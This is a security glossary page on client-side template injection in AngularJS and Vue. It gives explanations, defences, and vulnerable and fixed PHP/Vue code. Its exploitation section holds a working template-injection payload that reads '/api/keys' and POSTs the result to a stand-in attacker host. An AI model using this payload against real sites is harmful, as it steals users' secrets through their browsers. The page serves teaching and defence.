← CodeClarityLab Home
Browse by Category
+ added · updated 7d
← Back to glossary

Client-Side Template Injection (CSTI)

security CWE-1336 OWASP A3:2021 CVSS 7.5 Advanced

Also Known As

CSTI Angular template injection Vue template injection Handlebars injection client template injection

TL;DR

Attacker-controlled input rendered as a template expression by a client-side framework (AngularJS, Vue, Handlebars), executing JavaScript in the victim's browser.

Explanation

CSTI occurs when a server safely HTML-encodes user input but then a client-side framework re-parses the encoded output as a template, evaluating any expression syntax the attacker injected. The classic case is AngularJS 1.x: a server places `{{user_input}}` into the page after HTML-escaping it; Angular sees `{{constructor.constructor('alert(1)')()}}` and executes it. Vue, Handlebars (`{{ }}`), Underscore (`<%= %>`), and any framework that interprets braces or other delimiters at render-time are vulnerable to the same class of bug. CSTI is distinct from server-side template injection (SSTI): it never runs code on the server, only in the browser, and the impact is XSS-class (session theft, request forgery, defacement). It is also distinct from classic XSS in that HTML encoding alone does not stop it — the framework processes the encoded text as a template after the encoding has been applied. Defences: never let user input land inside an active template region; use text bindings (`v-text`, `ng-bind`) instead of interpolation; sanitise input against the framework's expression syntax; or escape framework-specific delimiters (`{{` → `{{ '{{' }}`).

How It's Exploited

Page mounts AngularJS on a div containing server-rendered user comments. Comment body: `{{constructor.constructor('fetch(\'/api/keys\').then(r=>r.text()).then(t=>fetch(\'//attacker\',{method:\'POST\',body:t}))')()}}`. Victim loads page → Angular evaluates expression → keys exfiltrated. The HTML source shows the curly braces and the text inside, all properly HTML-encoded.

Common Misconception

HTML-encoding user input prevents CSTI. It does not — the framework re-parses the encoded markup as a template after the encoding has been applied, so `{{` survives encoding and triggers expression evaluation. Defending against CSTI requires escaping the framework's expression delimiters, not just HTML special characters.

Why It Matters

Many PHP applications use a frontend framework (Vue, Alpine, Angular) over server-rendered pages. Developers correctly use `htmlspecialchars` on every user value, then mount the encoded HTML into a Vue or Angular root, exposing every encoded value to template interpretation. The result is full XSS with browser-side code execution, all from input that 'looks safe' in the rendered HTML source.

Common Mistakes

  • Mounting an Angular/Vue app on a region of server-rendered HTML containing user input — every interpolation expression in that region is exploitable.
  • Using Vue's `v-html` (or Angular's `[innerHTML]`) on user-supplied strings — bypasses both HTML encoding and the framework's expression escaping.
  • Assuming Handlebars 'safe-string' helpers protect against template syntax — they protect against HTML output but still evaluate expressions.
  • Stripping `<script>` tags but leaving `{{` intact — the executor here is the framework, not a script tag.
  • Trusting that modern framework defaults are immune — Vue 3 disables in-DOM template compilation by default, but inline templates and SSR hydration regions can still be vulnerable.

Avoid When

  • The framework's mount region contains zero server-rendered user content — pure data-binding apps are not vulnerable to this class.

When To Use

  • Auditing pages that mix server-rendered user content with client-side framework mount points.
  • Reviewing template-rendering libraries used both server-side and client-side.

Code Examples

💡 Note
The fix is architectural: stop putting raw user-rendered HTML inside a region the framework will compile. Pass the data through the framework's data layer instead.
✗ Vulnerable
<!-- ❌ Server HTML-encodes user comment, then Vue mounts on the surrounding div -->
<div id="app">
    <h2>Comment by <?= htmlspecialchars($comment->author) ?></h2>
    <p><?= htmlspecialchars($comment->body) ?></p>
</div>
<script src="https://unpkg.com/vue@3"></script>
<script>
    const { createApp } = Vue;
    createApp({}).mount('#app');
    // Vue parses everything inside #app as a template.
    // A comment body of {{ constructor.constructor('alert(1)')() }} executes.
</script>
✓ Fixed
<!-- ✅ Pass user data as data, not as template content; use v-text/v-pre -->
<div id="app">
    <h2>Comment by <span v-text="author"></span></h2>
    <p v-text="body"></p>
</div>
<script>
    const { createApp } = Vue;
    createApp({
        data() {
            return {
                author: <?= json_encode($comment->author, JSON_HEX_TAG | JSON_HEX_AMP) ?>,
                body:   <?= json_encode($comment->body,   JSON_HEX_TAG | JSON_HEX_AMP) ?>
            };
        }
    }).mount('#app');
    // v-text writes data as text content — no template interpretation.
    // Alternative: wrap static user-rendered regions in v-pre to disable compilation.
</script>

Added 28 Apr 2026
Views 12
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 5 pings T 0 pings W 0 pings T 0 pings F 1 ping S 2 pings S 0 pings M 0 pings T 0 pings W 0 pings T
No pings yet today
No pings yesterday
Google 3 ChatGPT 2 Perplexity 2 SEMrush 1
crawler 6 crawler_json 2
DEV INTEL Tools & Severity
🟠 High ⚙ Fix effort: Medium
⚡ Quick Fix
Either keep server-rendered user content outside the framework's mount region, or use v-pre / ng-non-bindable on the wrapping element so the framework skips expression evaluation.
📦 Applies To
web vue angularjs alpine handlebars
🔗 Prerequisites
🔍 Detection Hints
User-controlled output rendered inside a div that becomes a Vue/Angular mount root; presence of {{ }} delimiters in server-rendered HTML the framework will compile
Auto-detectable: ✗ No semgrep
⚠ Related Problems
🤖 AI Agent
Confidence: Medium False Positives: High ✗ Manual fix Fix: Medium Context: File Tests: Update
CWE-1336 CWE-79

✓ schema.org compliant